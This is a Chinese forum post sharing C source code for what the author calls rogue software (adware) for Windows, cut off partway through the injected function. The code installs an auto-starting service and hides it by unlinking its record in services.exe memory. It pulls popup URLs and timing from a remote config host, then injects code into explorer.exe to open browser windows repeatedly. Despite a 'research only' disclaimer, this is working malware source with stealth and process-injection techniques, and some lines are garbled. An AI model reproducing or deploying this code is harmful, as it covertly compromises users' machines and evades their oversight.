导读:
  ps:请勿用于非法用途,仅供技术研究之用。
  by:yunshu
  这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。
  我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。
  这个是主函数,安装,读取配置,注入代码用的。
  代码:
 

 
  
  1.   /**************************************************************************************************   
  2.   * 1. 给XX作的流氓软件   
  3.   * 2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。   
  4.   **************************************************************************************************/   
  5.   #include   
  6.   #include   
  7.   #include   
  8.   #include   
  9.   #include   
  10.   // 是否记录日志   
  11.   //#define DEBUG   
  12.   #ifdef DEBUG   
  13.   #define DEBUG_LOG "c:\debug.txt"   
  14.   // 日志记录函数   
  15.   void LogToFile( WCHAR * );   
  16.   #endif   
  17.   #include "ControlService.h"   
  18.   #include "HideService.h"   
  19.   #include "CustomFunction.h"   
  20.   #pragma comment (lib, "Advapi32.lib")   
  21.   #pragma comment (lib, "Shell32.lib")   
  22.   #pragma comment (lib, "ws2_32.lib")   
  23.   #pragma comment (lib, "User32.lib")   
  24.   #define REMOTE_FUNC_LENGTH 1024 * 10 // 拷贝的长度   
  25.   #define TARGET_PROCESS L"explorer.exe" // 要注入代码的目标进程   
  26.   #define CONFIG_HOST "www.icylife.net" // 读取配置信息的服务器   
  27.   #define CONFIG_PATH "/url.txt" // 配置信息在配置服务器的路径   
  28.   #define IE_PATH "C:\Program Files\Internet Explorer\iexplore.exe"   
  29.   #define DEFAULT_URL "http://www.he100.com" // 默认弹出的窗口   
  30.   #define DEFAULT_SLEEP_TIME 30 * 60 * 1000 // 默认弹出窗口的间隔时间   
  31.   // 宏,转换字符串为unicode   
  32.   #define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );   
  33.   // 弹出窗口之间的间隔时间   
  34.   int sleep_time;   
  35.   // 弹出的url地址   
  36.   char url_path[512] = { 0 };   
  37.   /**************************************************************************************************   
  38.   * 函数原形   
  39.   **************************************************************************************************/   
  40.   void ServiceMain( DWORD, char **); //服务入口   
  41.   BOOL SetDebugPrivilege( ); //获取debug权限   
  42.   DWORD GetProcessIdByName(WCHAR * ); //获取进程的PID   
  43.   void InjectCode( ); //写代码到远程进程   
  44.   void GetConfig( ); //更新配置,获取要弹出的地址和弹出间隔时间   
  45.   /**************************************************************************************************   
  46.   * 程序入口,主函数   
  47.   **************************************************************************************************/   
  48.   int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )   
  49.   {   
  50.   WCHAR filePath[MAX_PATH] = { 0 }; //程序本身路径   
  51.   SERVICE_TABLE_ENTRY serviceTable[2];   
  52.      
  53.   serviceTable[0].lpServiceName = SERVICE_NAME;   
  54.   serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;   
  55.   serviceTable[1].lpServiceName = NULL;   
  56.   serviceTable[1].lpServiceProc = NULL;   
  57.   GetModuleFileName( NULL, filePath, MAX_PATH );   
  58.      
  59.   // 如果服务未安装,安装   
  60.   if( !ServiceExists( filePath ) )   
  61.   {   
  62.   if( ServiceInstall( filePath ) != TRUE )   
  63.   {   
  64.   return -1;   
  65.   }   
  66.   else   
  67.   {   
  68.   return 0;   
  69.   }   
  70.   }   
  71.      
  72.   if( !StartServiceCtrlDispatcher( serviceTable ) )   
  73.   {   
  74.   #ifdef DEBUG   
  75.   WCHAR tmp[256] = { 0 };   
  76.   wsprintf( tmp, L"Main StartServiceCtrlDispatcher error: %d\n", GetLastError() );   
  77.   LogToFile( tmp );   
  78.   #endif   
  79.      
  80.   return -1;   
  81.   }   
  82.      
  83.   return 0;   
  84.   }   
  85.   /**************************************************************************************************   
  86.   * 服务入口   
  87.   **************************************************************************************************/   
  88.   void ServiceMain( DWORD argc, char *argv[] )   
  89.   {   
  90.   serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;   
  91.   serviceStatus.dwCurrentState = SERVICE_START_PENDING;   
  92.   serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;   
  93.   serviceStatus.dwWin32ExitCode = 0;   
  94.   serviceStatus.dwServiceSpecificExitCode = 0;   
  95.   serviceStatus.dwCheckPoint = 0;   
  96.   serviceStatus.dwWaitHint = 0;   
  97.      
  98.   #ifdef DEBUG   
  99.   LogToFile( L"ServiceMain: Try to register service\n" );   
  100.   #endif   
  101.      
  102.   hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );   
  103.   if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )   
  104.   {   
  105.   #ifdef DEBUG   
  106.   WCHAR tmp[256] = { 0 };   
  107.   wsprintf( tmp, L"ServiceMain: Register service error: %d\n", GetLastError() );   
  108.   LogToFile( tmp );   
  109.   #endif   
  110.      
  111.   return;   
  112.   }   
  113.   serviceStatus.dwCurrentState = SERVICE_RUNNING;   
  114.   serviceStatus.dwCheckPoint = 0;   
  115.   serviceStatus.dwWaitHint = 0;   
  116.      
  117.   if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )   
  118.   {   
  119.   #ifdef DEBUG   
  120.   WCHAR tmp[256] = { 0 };   
  121.   swprintf( tmp, L"ServiceMain: Start service error: %d\n", GetLastError() );   
  122.   LogToFile( tmp );   
  123.   #endif   
  124.      
  125.   return;   
  126.   }   
  127.   #ifdef DEBUG   
  128.   LogToFile( L"ServiceMain: Start service ok\n" );   
  129.   #endif   
  130.      
  131.   // 隐藏服务   
  132.   HideService( SERVICE_NAME );   
  133.   // 从网络读取配置   
  134.   GetConfig( );   
  135.   // 注入代码   
  136.   InjectCode( );   
  137.   serviceStatus.dwCurrentState = SERVICE_STOPPED;   
  138.   if( !SetServiceStatus( hServiceStatus, &serviceStatus) )   
  139.   {   
  140.   #ifdef DEBUG   
  141.   WCHAR tmp[256] = { 0 };   
  142.   wsprintf( tmp, L"ServiceMain: Stop service error: %d\n", GetLastError() );   
  143.   LogToFile( tmp );   
  144.   #endif   
  145.   }   
  146.   #ifdef DEBUG   
  147.   LogToFile( L"Stop service in main.\n" );   
  148.   #endif   
  149.      
  150.   #ifdef DEBUG   
  151.   LogToFile( L"ServiceMain Done.\n" );   
  152.   #endif   
  153.   return;   
  154.   }   
  155.   void InjectCode( )   
  156.   {   
  157.   if( ! SetDebugPrivilege() )   
  158.   {   
  159.   #ifdef DEBUG   
  160.   LogToFile( L"Set Debug Privileges error.\n" );   
  161.   #endif   
  162.   return;   
  163.   }   
  164.   DWORD dwPID = -1;   
  165.   while( 1 )   
  166.   {   
  167.   dwPID = GetProcessIdByName( TARGET_PROCESS );   
  168.      
  169.   if( -1 != dwPID )   
  170.   {   
  171.   #ifdef DEBUG   
  172.   WCHAR tmp[256] = { 0 };   
  173.   wsprintf( tmp, L"Target process id is %d\n", dwPID );   
  174.   LogToFile( tmp );   
  175.   #endif   
  176.   break;   
  177.   }   
  178.   #ifdef DEBUG   
  179.   LogToFile( L"Target process not found, sleep and continue.\n" );   
  180.   #endif   
  181.   Sleep( 30 * 1000 );   
  182.   }   
  183.   Sleep( 2 * 60 * 1000 );   
  184.   // 打开进程   
  185.   HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID );   
  186.   if( ! hProcess )   
  187.   {   
  188.   #ifdef DEBUG   
  189.   LogToFile( L"OpenProcess error.\n" );   
  190.   #endif   
  191.   return;   
  192.   }   
  193.   //计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变   
  194.   Arguments arguments;   
  195.      
  196.   memset( (void *)&arguments, 0, sizeof(Arguments) );   
  197.   HMODULE hKernel = GetModuleHandleA( "kernel32" );   
  198.   if( hKernel == NULL )   
  199.   {   
  200.   #ifdef DEBUG   
  201.   LogToFile( L"GetModuleHandle kernel32.dll error.\n" );   
  202.   #endif   
  203.   return;   
  204.   }   
  205.   arguments.MyLoadLibrary = GetProcAddress( hKernel, "LoadLibraryA" );   
  206.   arguments.MyGetAddress = GetProcAddress( hKernel, "GetProcAddress" );   
  207.   strcpy( arguments.MyKernelDll, "kernel32.dll" );   
  208.   strcpy( arguments.MyProgram, IE_PATH );   
  209.   strcpy( arguments.MyShellDll, "Shell32.dll" );   
  210.   strcpy( arguments.MyShellExecute, "ShellExecuteA" );   
  211.   strcpy( arguments.MyUrl, url_path );   
  212.   strcpy( arguments.MyZeroMemory, "RtlZeroMemory" );   
  213.   arguments.SleepTime = sleep_time;   
  214.   // 在远程进程中分配内存存放参数,可写权限   
  215.   Arguments *remote_agrument = (Arguments *)VirtualAllocEx( hProcess,   
  216.   0,   
  217.   sizeof(Arguments),   
  218.   MEM_COMMIT,   
  219.   PAGE_READWRITE );   
  220.   if( !remote_agrument )   
  221.   {   
  222.   #ifdef DEBUG   
  223.   LogToFile( L"VirtualAllocEx for arguments error.\n" );   
  224.   #endif   
  225.   return;   
  226.   }   
  227.   #ifdef DEBUG   
  228.   WCHAR tmp[256] = { 0 };   
  229.   wsprintf( tmp, L"Remote Arguments' addr: 0x%08x\n", (DWORD)remote_agrument );   
  230.   LogToFile( tmp );   
  231.   #endif   
  232.   // 将参数写入远程进程内存   
  233.   int bytes_write;   
  234.   if( !WriteProcessMemory( hProcess, (LPVOID)remote_agrument, (LPVOID)&arguments, sizeof(Arguments), (SIZE_T *)&bytes_write) )   
  235.   {   
  236.   #ifdef DEBUG   
  237.   LogToFile( L"WriteProcessMemory for arguments error.\n" );   
  238.   #endif   
  239.   return;   
  240.   }   
  241.   // 在远程进程中分配内存存放代码,可执行权限   
  242.   LPVOID remote_func = VirtualAllocEx( hProcess,   
  243.   0,   
  244.   REMOTE_FUNC_LENGTH,   
  245.   MEM_COMMIT,   
  246.   PAGE_EXECUTE_READWRITE );   
  247.   if( !remote_func )   
  248.   {   
  249.   #ifdef DEBUG   
  250.   LogToFile( L"VirtualAllocEx for function error.\n" );   
  251.   #endif   
  252.   return;   
  253.   }   
  254.   #ifdef DEBUG   
  255.   memset( tmp, 0, sizeof(tmp) );   
  256.   wsprintf( tmp, L"Remote Function Address: 0x%08x\n", remote_func );   
  257.   LogToFile( tmp );   
  258.   #endif   
  259.   // 将代码写入远程进程内存   
  260.   if( !WriteProcessMemory( hProcess, (LPVOID)remote_func, (LPVOID)&CustomFunction, REMOTE_FUNC_LENGTH, (SIZE_T *)&bytes_write) )   
  261.   {   
  262.   #ifdef DEBUG   
  263.   LogToFile( L"WriteProcessMemory for function error.\n" );   
  264.   #endif   
  265.   return;   
  266.   }   
  267.   #ifdef DEBUG   
  268.   memset( tmp, 0, sizeof(tmp) );   
  269.   wsprintf( tmp, L"WriteProcessMemory for function %d bytes\n", bytes_write );   
  270.   LogToFile( tmp );   
  271.   #endif   
  272.      
  273.   HANDLE remote_thread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)remote_func, remote_agrument, 0, 0 );   
  274.   if ( !remote_thread )   
  275.   {   
  276.   #ifdef DEBUG   
  277.   LogToFile( L"CreateRemoteThread for function error.\n" );   
  278.   #endif   
  279.   return;   
  280.   }   
  281.      
  282.   #ifdef DEBUG   
  283.   LogToFile( L"CreateRemoteThread for function ok\n" );   
  284.   #endif   
  285.      
  286.   /*   
  287.   WaitForSingleObject( remote_thread, INFINITE );   
  288.      
  289.   if( NULL != remote_func )   
  290.   {   
  291.   VirtualFreeEx( hProcess, remote_func, REMOTE_FUNC_LENGTH, MEM_RELEASE );   
  292.   #ifdef DEBUG   
  293.   LogToFile( L"VirtualFreeEx for remote_func.\n" );   
  294.   #endif   
  295.   }   
  296.   if( NULL != remote_agrument )   
  297.   {   
  298.   VirtualFreeEx( hProcess, remote_agrument, sizeof (Arguments), MEM_RELEASE);   
  299.   #ifdef DEBUG   
  300.   LogToFile( L"VirtualFreeEx for remote_agrument.\n" );   
  301.   #endif   
  302.   }   
  303.      
  304.   if( NULL != remote_thread )   
  305.   {   
  306.   CloseHandle( remote_thread );   
  307.   #ifdef DEBUG   
  308.   LogToFile( L"CloseHandle for remote_thread.\n" );   
  309.   #endif   
  310.   }   
  311.   if( NULL != hProcess )   
  312.   {   
  313.   CloseHandle( hProcess );   
  314.   #ifdef DEBUG   
  315.   LogToFile( L"CloseHandle for hProcess.\n" );   
  316.   #endif   
  317.   }   
  318.   */   
  319.   return;   
  320.   }   
  321.   void GetConfig( )   
  322.   {   
  323.   #ifdef DEBUG   
  324.   WCHAR tmp[256] = { 0 };   
  325.   #endif   
  326.      
  327.   WSAData wsa;   
  328.   struct sockaddr_in sin;   
  329.   memset( &sin, 0, sizeof(struct sockaddr_in) );   
  330.   if( WSAStartup( 0x0202, &wsa ) != 0 )   
  331.   {   
  332.   #ifdef DEBUG   
  333.   memset( tmp, 0, sizeof(tmp) );   
  334.   wsprintf( tmp, L"WSAStartup error: %d\n", GetLastError() );   
  335.   LogToFile( tmp );   
  336.   #endif   
  337.      
  338.   goto getconfig_error;   
  339.   }   
  340.   struct hostent *phost = gethostbyname( CONFIG_HOST );   
  341.   if( phost == NULL )   
  342.   {   
  343.   #ifdef DEBUG   
  344.   memset( tmp, 0, sizeof(tmp) );   
  345.   wsprintf( tmp, L"Resolv config host name error: %d\n", GetLastError() );   
  346.   LogToFile( tmp );   
  347.   #endif   
  348.      
  349.   WSACleanup( );   
  350.   goto getconfig_error;   
  351.   }   
  352.      
  353.   memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );   
  354.   sin.sin_family = AF_INET;   
  355.   sin.sin_port = htons( 80 );   
  356.   #ifdef DEBUG   
  357.   memset( tmp, 0, sizeof(tmp) );   
  358.   WCHAR ip[256] = { 0 };   
  359.   MULTI_TO_WIDE( ip, inet_ntoa( sin.sin_addr ));   
  360.   wsprintf( tmp, L"Resolv config host name ok: %s\n",ip );   
  361.   LogToFile( tmp );   
  362.   #endif   
  363.      
  364.   SOCKET sock = socket( AF_INET , SOCK_STREAM , 0 );   
  365.   if( sock == INVALID_SOCKET )   
  366.   {   
  367.   #ifdef DEBUG   
  368.   memset( tmp, 0, sizeof(tmp) );   
  369.   wsprintf( tmp, L"Connect to %s:%s error: \n", ip, 80, GetLastError() );   
  370.   LogToFile( tmp );   
  371.   #endif   
  372.   WSACleanup( );   
  373.   goto getconfig_error;   
  374.   }   
  375.   int ret = connect( sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) );   
  376.   if( SOCKET_ERROR == ret )   
  377.   {   
  378.   #ifdef DEBUG   
  379.   memset( tmp, 0, sizeof(tmp) );   
  380.   wsprintf( tmp, L"Connect error: %d\n", GetLastError() );   
  381.   LogToFile( tmp );   
  382.   #endif   
  383.   closesocket( sock );   
  384.   WSACleanup( );   
  385.   goto getconfig_error;   
  386.   }   
  387.   char send_buff[512] = { 0 };   
  388.   sprintf( send_buff, "GET %s HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\n\r\n", CONFIG_PATH, CONFIG_HOST );   
  389.   #ifdef DEBUG   
  390.   memset( tmp, 0, sizeof(tmp) );   
  391.      
  392.   WCHAR tmp2[256] = { 0 };   
  393.   MULTI_TO_WIDE( tmp2, send_buff );   
  394.   wsprintf( tmp, L"Send request to get config:\n %s\n", tmp2 );   
  395.   LogToFile( tmp );   
  396.   #endif   
  397.   ret = send( sock, send_buff, strlen(send_buff), 0 );   
  398.   if( SOCKET_ERROR == ret )   
  399.   {   
  400.   #ifdef DEBUG   
  401.   memset( tmp, 0, sizeof(tmp) );   
  402.   wsprintf( tmp, L"Send request error: %d\n", GetLastError() );   
  403.   LogToFile( tmp );   
  404.   #endif   
  405.   closesocket( sock );   
  406.   WSACleanup( );   
  407.   goto getconfig_error;   
  408.   }   
  409.   #ifdef DEBUG   
  410.   LogToFile( L"Send request ok!\n" );   
  411.   #endif   
  412.      
  413.   char recv_buff[1024] = { 0 };   
  414.   recv( sock, recv_buff, 1000, 0 );   
  415.   if( !recv_buff )   
  416.   {   
  417.   closesocket( sock );   
  418.   WSACleanup( );   
  419.   goto getconfig_error;   
  420.   }   
  421.   closesocket( sock );   
  422.   WSACleanup( );   
  423.   char *content = strstr( recv_buff, "\r\n\r\n" );   
  424.   if( !content )   
  425.   {   
  426.   goto getconfig_error;   
  427.   }   
  428.   content += strlen("\r\n\r\n");   
  429.   #ifdef DEBUG   
  430.   memset( tmp, 0, sizeof(tmp) );   
  431.   WCHAR c[256] = { 0 };   
  432.   MULTI_TO_WIDE( c, content );   
  433.      
  434.   wsprintf( tmp, L"Config content is:\n%s\n", c );   
  435.   LogToFile( tmp );   
  436.   #endif   
  437.      
  438.   char *split_flag = strstr( content, "|" );   
  439.   if( !split_flag )   
  440.   {   
  441.   goto getconfig_error;   
  442.   }   
  443.   char tmp_time[32] = { 0 };   
  444.   char tmp_url[512] = { 0 };   
  445.   if( split_flag - content >32 )   
  446.   {   
  447.   sleep_time = DEFAULT_SLEEP_TIME;   
  448.   }   
  449.   else   
  450.   {   
  451.   strncpy( tmp_time, content, split_flag - content );   
  452.   sleep_time = atoi( tmp_time );   
  453.   }   
  454.   ifstrlen( split_flag ) >= 512 )   
  455.   {   
  456.   strcpy( url_path, DEFAULT_URL );   
  457.   }   
  458.   else   
  459.   {   
  460.   strcpy( url_path, split_flag + 1 );   
  461.   }   
  462.      
  463.   return;   
  464.   getconfig_error:   
  465.      
  466.   sleep_time = DEFAULT_SLEEP_TIME;   
  467.   strcpy( url_path, DEFAULT_URL );   
  468.   return;   
  469.   }   
  470.   /**************************************************************************************************   
  471.   * 记录日志函数   
  472.   **************************************************************************************************/   
  473.   #ifdef DEBUG   
  474.   void LogToFile( WCHAR *str )   
  475.   {   
  476.   FILE *fp;   
  477.      
  478.   fp = fopen( DEBUG_LOG, "a" );   
  479.   fwprintf( fp, L"%s\n", str );   
  480.   fclose( fp );   
  481.   }   
  482.   #endif   
  483.   这个是隐藏服务用的,修改了services.exe文件,可能有一定的危险性。   
  484.   代码:   
  485.   // yunshu(pst) Copy from zzzevazzz(pst)'s code   
  486.   // 几个Undocument的结构   
  487.   typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;   
  488.   typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;   
  489.   typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;   
  490.   typedef struct _SC_SERVICE_PROCESS   
  491.   {   
  492.   PSC_SERVICE_PROCESS Previous;   
  493.   PSC_SERVICE_PROCESS Next;   
  494.   WCHAR *ImagePath;   
  495.   DWORD Pid;   
  496.   DWORD NumberOfServices;   
  497.   // ...   
  498.   } SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;   
  499.   typedef struct _SC_DEPEND_SERVICE   
  500.   {   
  501.   PSC_DEPEND_SERVICE Next;   
  502.   DWORD Unknow;   
  503.   PSC_SERVICE_RECORD Service;   
  504.   // ...   
  505.   } SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;   
  506.   typedef struct _SC_SERVICE_RECORD   
  507.   {   
  508.   PSC_SERVICE_RECORD Previous;   
  509.   PSC_SERVICE_RECORD Next;   
  510.   WCHAR *ServiceName;   
  511.   WCHAR *DisplayName;   
  512.   DWORD Index;   
  513.   DWORD Unknow0;   
  514.   DWORD sErv;   
  515.   DWORD ControlCount;   
  516.   DWORD Unknow1;   
  517.   PSC_SERVICE_PROCESS Process;   
  518.   SERVICE_STATUS Status;   
  519.   DWORD StartType;   
  520.   DWORD ErrorControl;   
  521.   DWORD TagId;   
  522.   PSC_DEPEND_SERVICE DependOn;   
  523.   PSC_DEPEND_SERVICE Depended;   
  524.   // ...   
  525.   } SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;   
  526.   BOOL SetDebugPrivilege()   
  527.   {   
  528.   BOOL bRet = FALSE;   
  529.   HANDLE hToken = NULL;   
  530.   LUID luid;   
  531.   TOKEN_PRIVILEGES tp;   
  532.   if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&   
  533.   LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))   
  534.   {   
  535.   tp.PrivilegeCount = 1;   
  536.   tp.Privileges[0].Luid = luid;   
  537.   tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;   
  538.   bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);   
  539.   }   
  540.   if (hToken) CloseHandle(hToken);   
  541.   return bRet;   
  542.   }   
  543.   DWORD GetProcessIdByName(WCHAR *Name)   
  544.   {   
  545.   BOOL bRet = FALSE;   
  546.   HANDLE hProcessSnap = NULL;   
  547.   PROCESSENTRY32 pe32 = { 0 };   
  548.   DWORD Pid = -1;   
  549.   hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);   
  550.   if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;   
  551.   pe32.dwSize = sizeof(PROCESSENTRY32);   
  552.   if (Process32First(hProcessSnap, &pe32))   
  553.   {   
  554.   do   
  555.   {   
  556.   if ( !_wcsicmp(pe32.szExeFile, Name ) )   
  557.   {   
  558.   Pid = pe32.th32ProcessID;   
  559.   break;   
  560.   }   
  561.   }   
  562.   while (Process32Next(hProcessSnap, &pe32));   
  563.   }   
  564.   CloseHandle(hProcessSnap);   
  565.   return Pid;   
  566.   }   
  567.   // 修改内存属性为指定值   
  568.   void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)   
  569.   {   
  570.   MEMORY_BASIC_INFORMATION mbi;   
  571.   DWORD dwOldProtect, dwWritten;   
  572.   VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));   
  573.   VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);   
  574.   WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);   
  575.   VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);   
  576.   }   
  577.   //寻×××链表   
  578.   PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)   
  579.   {   
  580.   WCHAR FileName[MAX_PATH+1];   
  581.   HANDLE hFile, hFileMap;   
  582.   UCHAR * pMap;   
  583.   DWORD dwSize, dwSizeHigh, i, dwRead;   
  584.   SC_SERVICE_RECORD SvcRd, *pSvcRd, *pRet = NULL;   
  585.   GetSystemDirectory( FileName, MAX_PATH );   
  586.   wcscat( FileName, L"\Services.exe");   
  587.   hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,   
  588.   NULL, OPEN_EXISTING, 0, NULL);   
  589.   if (INVALID_HANDLE_VALUE == hFile) return NULL;   
  590.   dwSizeHigh = 0;   
  591.   dwSize = GetFileSize(hFile, &dwSizeHigh);   
  592.   hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);   
  593.   if (NULL == hFileMap) return NULL;   
  594.   pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);   
  595.   if (NULL == pMap) return NULL;   
  596.   dwSize -= 12;   
  597.   for (i=0; i  {   
  598.   // 搜索services!ScGetServiceDatabase特征代码   
  599.   if (*(DWORD*)(pMap+i) == 0xa1909090 &&   
  600.   *(DWORD*)(pMap+i+8) == 0x909090c3)   
  601.   {   
  602.   #ifdef DEBUG   
  603.   WCHAR tmpBuffer[256] = { 0 };   
  604.   wsprintf( tmpBuffer, L"map is 0x%08x\n", (DWORD *)(pMap+i) );   
  605.   LogToFile( tmpBuffer );   
  606.   #endif   
  607.   if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&   
  608.   ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&   
  609.   SvcRd.sErv == 'vrEs'// ServiceRecord结构的特征   
  610.   {   
  611.   pRet = pSvcRd;   
  612.   #ifdef DEBUG   
  613.   WCHAR tmpBuffer[256] = { 0 };   
  614.   wsprintf( tmpBuffer, L"pRet is 0x%08x\n", (DWORD *)(pSvcRd) );   
  615.   LogToFile( tmpBuffer );   
  616.   #endif   
  617.      
  618.   break;   
  619.   }   
  620.   }   
  621.   }   
  622.   UnmapViewOfFile(pMap);   
  623.   CloseHandle(hFileMap);   
  624.   CloseHandle(hFile);   
  625.   //printf( "addr: 0x%08x\n", (DWORD *)pRet );   
  626.   return pRet;   
  627.   }   
  628.   // 隐藏服务   
  629.   BOOL HideService( WCHAR *Name )   
  630.   {   
  631.   DWORD Pid;   
  632.   HANDLE hProcess;   
  633.   SC_SERVICE_RECORD SvcRd, *pSvcRd;   
  634.   DWORD dwRead, dwNameSize;   
  635.   WCHAR SvcName[MAX_PATH] = { 0 };   
  636.      
  637.   dwNameSize = ( wcslen(Name) + 1 ) * sizeof(WCHAR);   
  638.      
  639.   if (dwNameSize >sizeof(SvcName)) return FALSE;   
  640.      
  641.   Pid = GetProcessIdByName( TEXT("Services.exe") );   
  642.   #ifdef DEBUG   
  643.   WCHAR tmpBuffer1[256] = { 0 };   
  644.   wsprintf( tmpBuffer1, L"Pid is %d\n", Pid );   
  645.   LogToFile( tmpBuffer1 );   
  646.   #endif   
  647.   if (Pid == -1) return FALSE;   
  648.   if( ! SetDebugPrivilege() ) return FALSE;   
  649.   hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);   
  650.   if (NULL == hProcess) return FALSE;   
  651.   pSvcRd = FindFirstServiceRecord(hProcess);   
  652.   if (NULL == pSvcRd)   
  653.   {   
  654.   #ifdef DEBUG   
  655.   LogToFile( L"Can't Find ServiceDatabase.\n" );   
  656.   #endif   
  657.   CloseHandle(hProcess);   
  658.   return FALSE;   
  659.   }   
  660.   do   
  661.   {   
  662.   if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&   
  663.   ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))   
  664.   {   
  665.   // 匹配服务名   
  666.   if ( 0 == _wcsicmp(SvcName, Name) )   
  667.   {   
  668.   // 从链表中断开(一般来说ServiceRecord是可写的,但还是先改保护属性以防万一)   
  669.   ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);   
  670.   ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous);   
  671.   #ifdef DEBUG   
  672.   WCHAR tmpBuffer2[256] = { 0 };   
  673.   wsprintf( tmpBuffer2, L"The Service \"%s\" Is Hidden Successfully.\n", Name );   
  674.   LogToFile( tmpBuffer1 );   
  675.   #endif   
  676.      
  677.   CloseHandle(hProcess);   
  678.   return TRUE;   
  679.   }   
  680.   }   
  681.   else   
  682.   {   
  683.   break;   
  684.   }   
  685.   }   
  686.   while (pSvcRd = SvcRd.Next);   
  687.   if( NULL != hProcess )   
  688.   {   
  689.   CloseHandle(hProcess);   
  690.   }   
  691.   return FALSE;   
  692.   }   
  693.   这个是注入到explorer.exe进程中的代码,大部分参数是写内存写进去的,有少部分实在懒得搞了,用了一点汇编。   
  694.   typedef struct _Arguments   
  695.   {   
  696.   char MyUrl[512];   
  697.   char MyProgram[512];   
  698.   FARPROC MyLoadLibrary;   
  699.   FARPROC MyGetAddress;   
  700.   char MyKernelDll[32];   
  701.   char MyShellDll[32];   
  702.   char MyZeroMemory[32];   
  703.   char MyShellExecute[32];   
  704.   DWORD SleepTime;   
  705.   }Arguments;   
  706.   /**************************************************************************************************   
  707.   * WINAPI函数原形   
  708.   **************************************************************************************************/   
  709.   typedef HMODULE (__stdcall *LOADLIBRARYA)( IN char* lpFileName );   
  710.   typedef FARPROC (__stdcall *GETPROCADDRESS)( IN HMODULE hModule, IN char* lpProcName );   
  711.   typedef void (__stdcall *ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length );   
  712.   void __stdcall CustomFunction( LPVOID my_arguments )   
  713.   {   
  714.   Arguments *func_args = (Arguments *)my_arguments;   
  715.      
  716.   LOADLIBRARYA LoadLibraryA = (LOADLIBRARYA)func_args->MyLoadLibrary;   
  717.   GETPROCADDRESS GetProcAddress = (GETPROCADDRESS)func_args->MyGetAddress;   
  718.      
  719.   HMODULE h_kernel = LoadLibraryA( func_args->MyKernelDll );   
  720.   HMODULE h_shell = LoadLibraryA( func_args->MyShellDll );   
  721.   ZEROMEMORY ZeroMemory = (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory );   
  722.   DWORD MyShellExecuteA = (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute );   
  723.   DWORD MySleep;   
  724.   DWORD sleep_time = func_args->SleepTime;   
  725.   __asm   
  726.   {   
  727.   push eax   
  728.   push esp   
  729.   sub esp, 6   
  730.      
  731.   mov byte ptr [esp], 'S'   
  732.   mov byte ptr [esp+1], 'l'   
  733.   mov byte ptr [esp+2], 'e'   
  734.   mov byte ptr [esp+3], 'e'   
  735.   mov byte ptr [esp+4], 'p'   
  736.   mov byte ptr [esp+5], '   
  737.   lea eax, [esp]   
  738.   push eax   
  739.   push h_kernel   
  740.   call GetProcAddress   
  741.   mov MySleep, eax   
  742.   add esp, 6   
  743.   pop esp   
  744.   pop eax   
  745.   }   
  746.   while( 1 )   
  747.   {   
  748.   __asm   
